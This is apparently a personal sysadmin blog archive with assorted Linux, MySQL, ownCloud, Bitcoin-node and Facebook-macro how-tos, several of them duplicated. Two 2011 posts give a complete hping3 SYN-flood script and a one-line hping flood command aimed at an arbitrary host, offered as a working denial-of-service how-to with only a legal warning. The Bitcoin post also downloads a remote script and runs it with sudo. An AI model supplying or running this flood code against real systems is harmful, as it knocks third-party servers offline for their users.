Thursday, February 20, 2014
HOW TO CREATE A FULL BITCOIN NODE IN A $5 UBUNTU VPS
HOW TO CREATE A FULL BITCOIN NODE IN A $5 UBUNTU VPS
These instructions will successfully run bitcoind on a minimum of 512MB(memory) 20GB(disk) VPS.
Running a full bitcoin node helps support the bitcoin network. It is not recommended to use this node as a personal wallet since a lot more hardening should be done first.
(1) SINGLE SCRIPT SETUP
wget -O btcNode.sh https://raw.github.com/XertroV/BitcoinAutoNode/master/bitcoinAutoNode.sh ; sudo bash btcNode.sh
(2) NOTES
To monitor BITCOIND status:
bitcoind getinfo
Rebooting your VPS will automatically start bitcoind thanks to monit.
If bitcoind is not running for some reason then executing bitcoind from a shell will start it.
I'd welcome any tips for improving the instructions including the reddit formatting.
UPDATES
add firewall rules in step-4 for SSH and bitcoind port 8333
add limit to bitcoin connections in order to help control bandwidth; reduce from 40 in step-8 to limit it further.
move reboot to the last step
limit firewall ports to TCP
changed the firewall enabling to not ask for user confirmation
ATTRIBUTIONS
I modified and pulled together these instructions from two main sources:
Setting up bitcoind in a VPS:
https://bitcointalk.org/index.php?topic=332679.msg3568348#msg3568348
Swap file trick:
http://www.erikaheidi.com/2013/09/25/setting-optimized-droplet-ubuntu-nginx-php5-fpm/
http://www.rownet.co.uk/adding-swap-space-to-an-amazon-ec2-micro-instance/
Script:
A big thanks go to XertroV for converting the steps into a script.
Monday, January 20, 2014
Copy, migrate linux server from Amazon, or Rackspace to Digital Ocean or another host
Full Server Rsync Migrations
There are times when you need to do a one to one server migration. This can seem like a daunting task, however with the magic of rsync, performing full server migrations can be a fairly painless task requiring little downtime.
Prerequisites
On both the old and new servers, you want to ensure the following requirements are met:
1. Confirm both the old and new servers are using the same hardware architecture. You cannot perform an rsync migration if one server is 32-bit, and the other is a 64-bit system. This can be verified by running the following command, and checking to see if it has “i386″, which means 32-bit, or if both have “x86_64″, which stands for 64-bit.
uname -a
Linux demo 2.6.18-308.el5xen #1 SMP Tue Feb 21 20:47:10 EST 2012 x86_64 x86_64 x86_64 GNU/Linux
So in our example, I have verified that both the old and new servers are 64-bit.
2. Confirm they are both running the same exact version of the operating system. Normally this means simply confirming both servers are at the latest patch level which you can do by running:
yum update
cat /etc/redhat-release
CentOS release 5.8 (Final)
For this article, I will be using two servers that are running CentOS 5.8 (Final).
3. Confirm rsync is installed on both servers
yum install rsync
4. Clean up server before migration. Depending on the amount of files on your server, the initial rsync migration can take quite a while. So you will want to browse through your old server and remove any extraneous temporary, cache, or other large files that you no longer need. You should also check your logs and ensure that their sizes are reasonable, and archive or delete the older logs you no longer need.
5. If you are not going to be swapping IP’s, and simply updating DNS to point to the new server, confirm that all your domains on the old server have a very low TTL set in the zonefile. A TTL of 300 is usually considered the lowest acceptable TTL to set.
Begin server migration
The procedure I’ll be writing out below is a two step process. It is meant to help minimize the amount of downtime that is involved when you swap the IP’s or update DNS, assuming you have a low TTL set. The steps are below:
1. Perform initial rsync
2. Perform final rsync and ip swap (or DNS update)
The initial rsync is just used to get the majority of the static files over to the new server. The final rsync is meant to update anything that is dynamic, such as logs, updated web content, databases, etc.
So before we begin, you will want to create an excludes file on the old server. This file will tell rsync NOT to copy over system specific information that is not needed for your new system.
vi /root/rsync-exclude.txt
/boot
/proc
/sys
/tmp
/dev
/var/lock
/etc/fstab
/etc/mdadm.conf
/etc/mtab
/etc/resolv.conf
/etc/conf.d/net
/etc/network/interfaces
/etc/networks
/etc/sysconfig/network*
/etc/sysconfig/hwconf
/etc/sysconfig/ip6tables-config
/etc/sysconfig/kernel
/etc/hostname
/etc/HOSTNAME
/etc/hosts
/etc/modprobe*
/etc/modules
/etc/udev
/net
/lib/modules
/etc/rc.conf
The example above should cover a couple of different distros. But always review someone else’s example before applying it to your own systems!!
Now that we have the proper excludes in place, lets run a dry run of rsync to see what would have happened before we actually do it. Please note that this is to run on the old server. Replace xxx.xxx.xxx.xxx with the IP of the new server:
rsync -azPx -e ssh --dry-run -azPx --delete-after --exclude-from="/root/rsync-exclude.txt" / root@xxx.xxx.xxx.xxx:/
If all looks well, lets perform the actual initial rsync:
rsync -azPx -e ssh -azPx --delete-after --exclude-from="/root/rsync-exclude.txt" / root@xxx.xxx.xxx.xxx:/
Depending on how much data you have, this could take a few minutes, or many hours. Once this is complete, you will want to schedule a maintenance window to perform the final rsync and IP swap (or DNS update). You want to perform this during a maintenance window as you will need to stop any database services or anything else that has very dynamic data to avoid corruption. So in the example, I just have a basic LAMP server, so I will need to shut down MySQL before performing the final rsync. Here are the steps I’ll be using:
1. Stop MySQL on old server
2. Perform final rsync
3. On new server, reboot server and test everything
4. Swap IP from old server to new, or update your DNS accordingly.
On the old server:
service mysql stop
rsync -azPx -e ssh -azPx --delete-after --exclude-from="/root/rsync-exclude.txt" / root@xxx.xxx.xxx.xxx:/
Now we are ready to start testing our new server.
Testing And Go-Live
Lets wave that dead chicken over the alter, its time to see if your new server survives a reboot, and if all the services come back online properly. There are no guides for this. Just reboot your server, then test out your sites, databases, and keep a wary eye on your system logs.
Once you have confirmed that everything looks good, it will then be safe to swap the IP’s, or update DNS accordingly. In the event that a problem surfaces shortly after the migration, you always have the option of rolling back to your older server, assuming you won’t be losing any critical transactions.
Saturday, May 25, 2013
Friday, May 17, 2013
Repair mysql database & optimize mysql database
mysqlcheck -u root -p --auto-repair -c -o --all-databases
Sunday, March 17, 2013
installing owncloud on debian wheezy
1. Install Apache and owncloud depencies.
apt-get install apache2 php5 php5-json php-xml-serializer zip php5-gd
apt-get install php5-sqlite curl libcurl3 libcurl3-dev php5-curl
2. Enter tmp folder download and extract owncloud.
cd /tmp
mkdir /var/www/cloud
wget http://owncloud.org/releases/owncloud-4.0.0.tar.bz2
apt-get install bzip2
bunzip owncloud-4.0.0.tar.bz2
tar xvf owncloud-4.0.0.tar
3. copy own cloud to apache html folder.
cp -r owncloud/* /var/www/cloud/
4. Change folder owner.
chown -R www-data:www-data /var/www/cloud
5.Enable .htaccess and mod_rewrite if running apache
vi /etc/apache2/sites-enabled/000-default
To enable .htaccess files you need to ensure that ‘AllowOverride’ is set to ‘All’ in the ‘Directory /var/www/’ section of your virtual host file
a2enmod rewrite
a2enmod headers
6. Increase file upload limit.
vi etc/php5/apache2/php.ini
In this file, search for:
upload_max_filesize
post_max_size
And change their value to whatever you want. Then save the file and restart Apache:
7. Restart Apache and visit your installation.
/etc/init.d/apache2 restart
Sunday, October 14, 2012
imacro/firefox clear facebook timeline
In order to clear facebook timeline, you will need to use an imacro script for firefox exactly like this;
VERSION BUILD=7401110 RECORDER=FX
SET !ERRORIGNORE YES
SET !TIMEOUT 20
SET !DIALOGMANAGER NO
TAB T=1
URL GOTO=https://www.facebook.com/YourName?sk=allactivity
WAIT SECONDS=5.0
TAG POS=1 TYPE=A ATTR=TXT:All
WAIT SECONDS=0.5
TAG POS=1 TYPE=SPAN ATTR=TXT:YourPosts
WAIT SECONDS=0.5
TAG POS=1 TYPE=A ATTR=TXT:2009
WAIT SECONDS=5.0
TAG POS=2 TYPE=A ATTR=CLASS:uiSelectorButtonuiButtonuiButtonSuppresseduiButtonNoText
WAIT SECONDS=0.5
TAG POS=1 TYPE=SPAN ATTR=CLASS:itemLabelfsm&&TXT:DeletePost...
WAIT SECONDS=0.5
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:ok&&VALUE:DeletePost
WAIT SECONDS=0.5
REFRESH
clear facebook timeline wall using m.facebook.com,
using imacros for firefox.
VERSION BUILD=7401110 RECORDER=FX
TAB T=1
URL GOTO=https://m.facebook.com/YOUR_USERNAME
TAG POS=1 TYPE=A ATTR=HREF:/delete.php*&&CLASS:sec&&TXT:Remove
TAG POS=1 TYPE=INPUT:SUBMIT FORM=ACTION:/a/delete.php* ATTR=VALUE:Remove
Wednesday, June 13, 2012
Auto dialer
Linux audo-dialer........... automatic phone dialing.
http://www.newfies-dialer.org/documentation/beginners-guide/
Tuesday, January 31, 2012
clear facebook timeline script / clean facebook timeline wall / clean facebook wall
clear facebook timeline script / clean facebook timeline wall / clean facebook wall
http://astojanov.wordpress.com/2012/01/02/facebook-timeline-automatically-delete-all-status-updates-wall-posts-comments-ever-made/
http://astojanov.wordpress.com/2012/01/02/facebook-timeline-automatically-delete-all-status-updates-wall-posts-comments-ever-made/
Sunday, December 4, 2011
super computer clustering
By tomorrow, or the next day, I will have a 4 cluster Debian Linux network running with fail over load balancer I built, and then once that's done, I'm going to build a SAN/NAS with Debian on another machine, and then use DRBD with an ocfs2 file system on it for supreme synchronization. I wish the damned flooding in Taiwan didn't jack up prices of hard drives so much though, so I could get that NAS/SAN's SATA drives cheaper. :( I'm also monitoring my network via the load balancer with Gangila, and Corosync/Pacemaker now, too.
BOOOO YAHHHH!!!!!!!!!!!!!!!!
Plus, all my webmin/usermin shit is linked together in a cluster formation, too. Sweeeeetnesssss.........
Now, if I had like 2,000 machines, I could build a super cluster ( cloud ), super computer. :)
BOOOO YAHHHH!!!!!!!!!!!!!!!!
Plus, all my webmin/usermin shit is linked together in a cluster formation, too. Sweeeeetnesssss.........
Now, if I had like 2,000 machines, I could build a super cluster ( cloud ), super computer. :)
Monday, July 25, 2011
synflood script
# (c) GPL2 fluxist(at)gmail.com
# Usage; hping3 exec ./synflood.htcl
if {$argc < 2} {
puts "Required arguments: hostname dstport"
exit 1
}
foreach {hostname port} $argv break
set srcport 14000
set target [hping resolve $hostname]
set myaddr [hping outifa $target]
puts "Synflooding $target..."
while {1} {
hping send "ip(saddr=$myaddr,daddr=$target)+tcp(sport=$srcport,dport=$port,flags=s)"
}
# Usage; hping3 exec ./synflood.htcl
if {$argc < 2} {
puts "Required arguments: hostname dstport"
exit 1
}
foreach {hostname port} $argv break
set srcport 14000
set target [hping resolve $hostname]
set myaddr [hping outifa $target]
puts "Synflooding $target..."
while {1} {
hping send "ip(saddr=$myaddr,daddr=$target)+tcp(sport=$srcport,dport=$port,flags=s)"
}
Monday, July 4, 2011
Friday, June 24, 2011
Warning: Malicious use of SYN-floods are punishable by law.
This post shows howto to establish a synflood attack on an arbitrary remote host. The attack is performed using hping, which is free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de facto tools for security auditing and testing of firewalls and networks. A syn-flood attack is basically a DOS-attack on a bug in TCP – some will argue that TCP is defective by design ;)
The actual attack is initialized by this command:
hping -i u1 -S -p 80 dst-host-or-ip
In most cases DoS attacks like this one renders a webserver totally unable to serve any requests from users.
To get hping installed on a Debian or Ubuntu-based system, type this to install:
aptitude install hping2
This post shows howto to establish a synflood attack on an arbitrary remote host. The attack is performed using hping, which is free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de facto tools for security auditing and testing of firewalls and networks. A syn-flood attack is basically a DOS-attack on a bug in TCP – some will argue that TCP is defective by design ;)
The actual attack is initialized by this command:
hping -i u1 -S -p 80 dst-host-or-ip
In most cases DoS attacks like this one renders a webserver totally unable to serve any requests from users.
To get hping installed on a Debian or Ubuntu-based system, type this to install:
aptitude install hping2
Friday, May 13, 2011
Windows Server 2008 R2 remoteapp printer redirection
To setup Windows Server 2008 R2 remoteapp printer redirection is her; http://social.technet.microsoft.com/Forums/en/winserverTS/thread/2551c41c-7c81-4809-b993-c97bbbe7b6f9
Wednesday, January 19, 2011
Suexec is enabled in the default template, but the suexec command was not found on your system.
PROBLEM with virtualmin:
Suexec is enabled in the default template, but the suexec command was not found on your system.
HOW TO FIX:
apt-get install apache2-suexec-custom
cd /etc/apache2/suexec
vi www-data
replace the line "/var/www" with "/home" (without "" )
restart apache
Suexec is enabled in the default template, but the suexec command was not found on your system.
HOW TO FIX:
apt-get install apache2-suexec-custom
cd /etc/apache2/suexec
vi www-data
replace the line "/var/www" with "/home" (without "" )
restart apache
Sunday, January 9, 2011
Windows 7 readyboost used to work, and not doesn't.
Windows 7 readyboost used to work, and now doesn't work anymore?
Try this:
edit the registry, back up first!!
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt
Remove all the sub values (they look like folders) that are there. They usually are in the form:
_??_USBSTOR#Disk&Ven_Multi&Prod_Flash_Reader&Rev_1.00#058F0O1111B&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}BOOST_1517140716]
You may have several of these.
Then re-insert the flash memory stick.
Re-open regedit and change the following values in the memory stick settings Vista has just created.
"CacheSizeInMB"=dword:000003c0
"CacheStatus"=dword:00000001
"DeviceStatus"=dword:00000002
Then close regedit and right-click the memory stick drive from "my computer". Go to the ReadyBoost tab and set the cache size as you like.
That's it. Enjoy
Try this:
edit the registry, back up first!!
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt
Remove all the sub values (they look like folders) that are there. They usually are in the form:
_??_USBSTOR#Disk&Ven_Multi&Prod_Flash_Reader&Rev_1.00#058F0O1111B&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}BOOST_1517140716]
You may have several of these.
Then re-insert the flash memory stick.
Re-open regedit and change the following values in the memory stick settings Vista has just created.
"CacheSizeInMB"=dword:000003c0
"CacheStatus"=dword:00000001
"DeviceStatus"=dword:00000002
Then close regedit and right-click the memory stick drive from "my computer". Go to the ReadyBoost tab and set the cache size as you like.
That's it. Enjoy
Wednesday, November 24, 2010
Import mysql database command line
Have an issue with your mysql database being too large to import through phpmyadmin? You can run this command and import for the command line!
mysql -u username -p -h localhost data-base-name < data.sql
mysql -u username -p -h localhost data-base-name < data.sql
Tuesday, November 16, 2010
find and replace file contents in debian
find and replace file contents in debian
`find /home/seanbrady/public_html/clients -name \*.\* -exec sed -i 's/\&new/new/g' {} \;`
`find /home/seanbrady/public_html/clients -name \*.\* -exec sed -i 's/\&new/new/g' {} \;`
Saturday, November 6, 2010
Delete all facebook groups
Want to delete all your facebook groups? Simply create, and run a macro:
VERSION BUILD=6111228 RECORDER=FX <– note that this line will be different if you have a different version of imacros
TAB T=1
SET !ERRORIGNORE YES
SET !TIMEOUT 100
SET !DIALOGMANAGER NO
TAG POS=1 TYPE=A ATTR=TXT:LeaveGroup
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:remove&&VALUE:Remove
WAIT SECONDS=2
VERSION BUILD=6111228 RECORDER=FX <– note that this line will be different if you have a different version of imacros
TAB T=1
SET !ERRORIGNORE YES
SET !TIMEOUT 100
SET !DIALOGMANAGER NO
TAG POS=1 TYPE=A ATTR=TXT:Leave
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:remove&&VALUE:Remove
WAIT SECONDS=2
Delete all facebook wall posts
If you want to delete all facebook wall posts; simple make a macro script:
VERSION BUILD=6111228 RECORDER=FX
TAB T=1
SET !ERRORIGNORE YES
SET !TIMEOUT 100
SET !DIALOGMANAGER NO
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
REFRESH
VERSION BUILD=6111228 RECORDER=FX
TAB T=1
SET !ERRORIGNORE YES
SET !TIMEOUT 100
SET !DIALOGMANAGER NO
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
REFRESH
Subscribe to:
Posts (Atom)